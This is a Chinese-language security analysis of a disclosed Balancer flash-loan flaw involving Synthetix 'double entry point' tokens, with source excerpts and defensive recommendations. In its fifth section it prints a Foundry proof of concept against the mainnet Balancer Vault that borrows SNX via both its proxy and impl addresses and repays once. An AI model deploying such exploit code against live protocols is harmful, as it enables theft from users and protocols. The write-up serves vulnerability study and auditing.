Balancer 闪电贷安全剖析:双入口代币(Double Entry Point Token)漏洞原理与 Foundry PoC 复现
Balancer 闪电贷安全剖析:双入口代币(Double Entry Point Token)漏洞原理与 Foundry PoC 复现
导读
本文以 RecentHack.md 为分析骨架,深入剖析 Balancer 官方论坛披露的一起 Medium 级别安全漏洞:以 Synthetix 的 SNX、sBTC 为代表的"双入口代币"(Double Entry Point Token),因其 Proxy/Impl 双层架构允许通过两个不同合约地址进行 transfer,从而对依赖单一代币地址校验的 Balancer 闪电贷机制构成威胁。结合仓库中的 POC.t.sol 完整复现代码与 Readme.md 的池子模型背景,你将掌握此类漏洞的形成机理、攻击路径、PoC 复现方法,以及同类闪电贷场景下的安全防御要点。
一、事件背景:Balancer 论坛披露的 Medium 级漏洞
该分析的直接来源是 Balancer 官方论坛上的一篇披露帖,标题为 "Medium severity bug found",即 Balancer 团队收到并确认了一个中等级别(Medium) 的安全漏洞报告。所谓"中等级别",意味着该漏洞不会直接导致资金被无限制盗取,但在特定代币与特定合约交互组合下,可以被利用来绕过协议的某些核心假设,造成非预期后果。
漏洞的核心载体不是 Balancer 的权重池(Weighted Pool)数学本身,而是某类特殊代币与 Balancer 闪电贷机制的组合。这类代币在当时(以及更早的 DeFi 生态中)被称为 Double Entry Point Token(双入口代币),典型代表是 Synthetix 系统发行的 SNX 与 sBTC。
二、核心概念:什么是"双入口代币"
2.1 Proxy / Impl 双层架构
很多可升级合约采用 Proxy + Implementation 的标准模式:
- Proxy 合约:对外暴露固定地址,用户直接与之交互,负责将调用
delegatecall转发到逻辑合约; - Impl(Implementation)合约:存放实际业务逻辑,其地址通常不对外公布,但并非不可访问。
这种架构的关键特征在于:合约的状态(storage)并不存放在 Proxy 中,而是存放在 Impl 合约的地址空间内(delegatecall 模式下状态写在使用者的 storage,但 Synthetix 的实现略有不同,见下文源码剖析)。
2.2 为什么会产生"两个入口"
Synthetix 的 ERC20 代币(如 SNX、sBTC)在实现上,既可以通过 Proxy 合约地址发起 transfer,也可以直接通过 Impl 合约地址发起 transfer,两条路径都能成功改变代币余额状态。
原文档 RecentHack.md 对此的表述非常直接:
简单来讲就是,既可以通过 Proxy 合约地址来进行 transfer,也可以通过 Impl 合约地址来 transfer。因为合约的状态没有存放在 proxy 里面,而是存放在 Impl 里面。这种 token 类似于 TUSD,可以对 COMP 的仿盘造成很大的伤害。现在来看,也会导致 balancer 出现问题。
即:由于状态存放在 Impl 中,Impl 地址本身就是一个"可用的代币入口";而大多数协议(包括当时的 Balancer 闪电贷)在校验"还款的是否是同一个代币"时,往往只检查 token 地址是否等于 Proxy 地址,这就留下了绕过空间。
2.3 TUSD 前车之鉴与 COMP 仿盘受害
文档特别提到,这种双入口代币与 TrueUSD(TUSD)当年的情况类似——TUSD 也曾因存在多个可操作余额的入口,对 Compound(COMP)的分叉仿盘造成过严重伤害:
- 在 Compound 类借贷协议中,系统通过
tokenAddress唯一标识一种抵押/借出资产; - 若存在第二个入口(Impl 地址),攻击者可以在两个入口之间搬移余额,从而伪造余额、绕过清算逻辑或操纵记账;
- 仓库中 Compound 62 号提案事件分析 也记录了奖励分发类 Bug 造成上亿美金损失的历史教训——DeFi 协议对"资产唯一性"的假设一旦被打破,后果往往非常严重。
而现在,同样的隐患延伸到了 Balancer。
三、源码级剖析:Synthetix 的 Proxy 与 Impl 实现
原文档给出了 Synthetix 代币两个入口的核心代码,下面逐段拆解其运作机制。
3.1 Proxy 层:转发调用并设置 messageSender
// Proxy:
function transfer(address to, uint256 value) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(target).transfer(to, value);
// Event emitting will occur via Synthetix.Proxy._emit()
return true;
}
Proxy 层的 transfer 做了三件事:
- 先调用
target.setMessageSender(msg.sender):由于 Impl 合约通过 delegatecall 执行时无法直接感知"原始调用者是谁"(msg.sender永远是 Proxy 地址),Synthetix 采用"显式传递调用者"的约定,先把自己的调用者记录到 Impl 的状态中; - 转发 ERC20 调用:
IERC20(target).transfer(to, value),把真正的转账逻辑委托给 Impl; - 事件通过 Proxy 的
_emit机制发出。
3.2 Impl 层:optionalProxy 修饰器与真正的转账逻辑
//Impl:
function transfer(address to, uint value) external optionalProxy systemActive returns (bool) {
// Ensure they're not trying to exceed their locked amount -- only if they have debt.
_canTransfer(messageSender, value);
// Perform the transfer: if there is a problem an exception will be thrown in this call.
_transferByProxy(messageSender, to, value);
return true;
}
modifier optionalProxy {
_optionalProxy();
_;
}
function _optionalProxy() private {
if (Proxy(msg.sender) != proxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
}
Impl 层的 transfer 带有 optionalProxy 修饰器,其关键逻辑在 _optionalProxy() 中:
- 当调用者是 Proxy 地址时:
Proxy(msg.sender) == proxy成立,说明走的是"正规入口",messageSender已经在 Proxy 转发时被设置好,直接使用即可; - 当调用者不是 Proxy 地址(即直接调用 Impl 地址)时:条件
messageSender != msg.sender成立,于是把messageSender直接设为msg.sender(也就是调用者自己)。
这正是"双入口"的代码级根源:_optionalProxy 的设计初衷是支持用户绕过 Proxy 直接与 Impl 交互(如 Synthetix 内部合约间调用),但它客观上让 Impl 地址成为一个完整可用的 ERC20 转账入口。任何人持有 Impl 地址,都可以直接调用其 transfer/balanceOf,且状态变更与走 Proxy 完全一致。
3.3 关键缺陷的本质
文档用一句非常形象的话总结了双入口代币的诡异之处:
DOUBLE ENTRY POINT 的 TOKEN 到底意味着什么?它的 balanceOf 很像 msg.value 的感觉。
即:balanceOf 读取的是 Impl 合约状态里的同一份余额映射,无论你通过哪个地址查询,得到的都是同一份数据;但协议(如 Balancer 闪电贷)在判断"我收到的是哪种代币、来自哪个地址"时,却只认 Proxy 地址。于是"同一份余额"可以从两个不同的合约地址进出,导致协议对资产流向的单一假设被打破。
四、漏洞如何传导到 Balancer:免费闪电贷与排序约束
4.1 Balancer 闪电贷机制:0 手续费 + 需要 sorted tokens
原文档特别要求读者先熟悉 Balancer 的闪电贷机制:
这里主要是要熟悉一下 Balancer 的 Flashloan 机制。目前 Balancer 的 flashloan 也是免费的!手续费为 0;需要 sorted tokens!!
其要点有二:
- 免费(手续费为 0):与 Aave(收取 0.09% 左右溢价)等闪电贷不同,文档记载 Balancer 闪电贷当时不收取任何手续费,这大大降低了套利/攻击的实验成本,也让"借 100 个代币还 100 个代币"成为可能;
- 要求 sorted tokens:调用
flashLoan时传入的tokens数组必须是按地址升序排序的,否则合约会 revert。这一点看似只是接口约束,却是本次 PoC 中必须实现sortTokens函数的原因。
作为对照,仓库 20-flash-loan 目录汇总了 Aave、dYdX、Uniswap V2/V3 四种主流闪电贷的实现与部署脚本,例如 UniswapFlashloaner.sol 展示了在 uniswapV2Call 回调中"借出 → 操作 → 还款"的完整范式:还款不足则整笔交易回滚。
4.2 双入口代币如何搅乱闪电贷
将双入口代币放进 Balancer 闪电贷,破坏力来自"借 A 地址的币,还 B 地址的币(或反之)"的错位:
- 攻击者向 Balancer Vault 发起
flashLoan,指定代币为 SNX(Proxy 地址),借出大量 SNX; - 在回调中,攻击者通过 SNX 的 Impl 地址向 Vault 归还等量 SNX;
- 若 Vault 只按"代币地址 == 传入 token 地址"来校验还款来源,就会误判"用 Impl 入口转入的 SNX 不属于 SNX",从而认为借款未被偿还(或出现记账错位),触发非预期行为。
反过来,如果攻击者把 tokens 数组里同时塞入 SNX(Proxy)与 SNX_IMPL(Impl)两个"看似不同"的地址,那么对 Balancer 而言它们像是两种不同的资产,而实际上底层是同一份余额——这正是 POC.t.sol 采用的核心思路:借"两种代币"(实为同一代币的两个入口),还款却只走其中一个入口。
五、仓库中的 Foundry PoC:完整复现
仓库 POC.t.sol 是一份基于 Foundry(forge + ds-test) 编写的完整复现测试,下面逐段拆解。
5.1 关键地址常量
contract BalancerAddr is DSTest, stdCheats {
address public constant vault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
address public constant feeCollector = 0xce88686553686DA562CE7Cea497CE749DA109f9F;
address public constant SNX = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F;
address public constant SNX_IMPL = 0x931933807c4c808657b6016f9e539486e7B5d374;
}
vault:Balancer V2 主网 Vault 合约地址;SNX:Synthetix 代币的 Proxy 入口;SNX_IMPL:Synthetix 代币的 Impl 实现入口——它正是整个攻击的"第二个入口"。
5.2 flashLoan 接口声明
interface BalancerFlashLoanLike {
function flashLoan(
address recipient,
address[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
}
Balancer V2 的 flashLoan 接收四个参数:接收回调的 recipient 合约、tokens 数组、amounts 数组以及 userData。注意这里的 tokens 必须有序。
5.3 token 排序:冒泡排序实现 sorted tokens
///ESAY WAY, no complicate, bubble sort
function sortTokens(address[] memory tokens) public returns (address[] memory) {
for (uint256 i = 0; i < tokens.length; ++i) {
for (uint256 j = i + 1; j < tokens.length; ++j) {
if (tokens[i] > tokens[j]) {
address temp = tokens[i];
tokens[i] = tokens[j];
tokens[j] = temp;
}
}
}
return tokens;
}
因为 Balancer 要求 sorted tokens,PoC 直接用冒泡排序对两个地址排序(SNX 与 SNX_IMPL 的地址大小关系由排序结果决定,保证数组有序)。
5.4 发起闪电贷与回调还款
function start() public {
address[] memory tokens = new address[](2);
tokens[0] = SNX;
tokens[1] = SNX_IMPL;
tokens = sortTokens(tokens);
uint256[] memory amounts = new uint256[](2);
amounts[0] = 99 ether;
amounts[1] = 1 ether;
BalancerFlashLoanLike(vault).flashLoan(
address(this),
tokens,
amounts,
""
);
}
function receiveFlashLoan(
address[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
//do something
ERC20Like(SNX).transfer(vault, 100 ether);
}
攻击/验证流程梳理:
start()构造tokens = [SNX, SNX_IMPL](排序后),对应amounts = [99 ether, 1 ether],即向 Vault 借 99 个 Proxy 入口的 SNX + 1 个 Impl 入口的 SNX;- Vault 将两种"代币"(实为同一份余额的两个入口)转入攻击合约,并回调
receiveFlashLoan; - 回调中执行"任意操作",然后通过 Proxy 地址
ERC20Like(SNX).transfer(vault, 100 ether)归还合计 100 个 SNX; - 测试用例
test_Start()直接调用hack.start()验证整条路径可正常执行、不会 revert。
由于 SNX 与 SNX_IMPL 共享同一份余额状态,还款只走了 Proxy 一个入口,却同时"清偿"了两个 token 槽位——这正是双入口代币在闪电贷场景下造成记账错位的直接演示:同一份资产被 Vault 视为两种资产分别借出,还款却只需一次。PoC 中的 feeAmounts 为 0 也与"Balancer 闪电贷免费"的文档记载一致。
六、拓展背景:Balancer 池子模型与 TVL 操纵
要理解为什么这类问题值得警惕,可以结合 Readme.md 中整理的 Balancer 核心机制补充背景。Balancer 采用多资产加权池,其核心不变量为:
其中 是第 种 token 在池中的 balance, 是其归一化权重()。swap 与 add/remove liquidity 不改变权重,因此池子非常适合做指数基金。
文档进一步指出两个容易被攻击的数学机制:
-
TVL 计算缺陷:池子 TVL 可用 表示,即 TVL 只与计价 token 的 balance 和权重有关。这种直接用池内 balance 计算 TVL 的方式容易被操纵——「Index Finance 的 Hack 里的一个关键点就在于这种 TVL 的计算机制」。这与 Uniswap 对 LP 的错误定价方式是同一类错误:TVL 不能使用池子 balance 来计算。
-
Join/Exit 的价格移动:等比例添加 token 时,代码实现按
B_i : B_j : B_k(而非保持 spot price 不变的B_i/W_i : B_j/W_j : B_k/W_k)比例操作,导致 join 后 spot price 发生移动,为复杂的单币操作(Single Asset Deposit / Withdraw,等价于"借币 + 等比入池 + swap + 还款")埋下套利与操纵空间。
将这两个背景与双入口代币问题放在一起可以看出:Balancer 的安全性高度依赖"每个 token 地址对应一份独立且唯一的余额"这一前提,而双入口代币恰好从底层打破了该前提。
七、安全启示与防御建议
7.1 对协议方(集成方)
- 不要仅凭 token 地址判断资产唯一性:在闪电贷、借贷、预言机等场景中,应校验目标代币是否为可升级代理模式,必要时同时比对 Proxy 与 Impl 地址,或将 Impl 地址列入黑名单/白名单;
- 还款校验必须覆盖"实际余额变动来源":Balancer 这类以
token.balanceOf(vault)前后对比来确认还款的机制,应确认余额增长确实来自"被借出的那个入口"; - 参考历史案例建立防御清单:TUSD 对 COMP 仿盘的伤害、Compound 62 号提案的奖励分发 Bug(详见 Compound 事件分析)都说明,DeFi 协议需要专门审查"多入口代币"这一资产类别。
7.2 对研究者与开发者
- 复现此类漏洞时,可直接以本仓库 POC.t.sol 为模板,使用 Foundry 的 fork 测试在本地主网状态下运行
test_Start(),观察回调与还款是否被 Vault 正确识别; - 深入理解 RecentHack.md 中
optionalProxy/_optionalProxy的逻辑分支,是把握"双入口"成因的关键; - 在审计新协议时,可用正则或脚本扫描其与 SNX、sBTC、TUSD 等已知多入口代币的交互路径,并检查闪电贷回调中对
msg.sender与 token 地址的校验强度。
7.3 结语
Balancer 的这一 Medium 级漏洞再次印证:DeFi 协议的每个"常识假设"(一个地址 = 一种资产 = 一份余额)都值得被审计者重新审视。代理模式的盛行让"双入口"成为一类容易被忽视的系统性风险,而像 POC.t.sol 这样的可运行复现,正是将抽象漏洞转化为可验证事实的最佳实践。
参考与延伸:本文分析主体为 RecentHack.md;复现代码见 POC.t.sol;Balancer 池子数学背景见 Readme.md;闪电贷通用机制与多协议对比见 basic/20-flash-loan。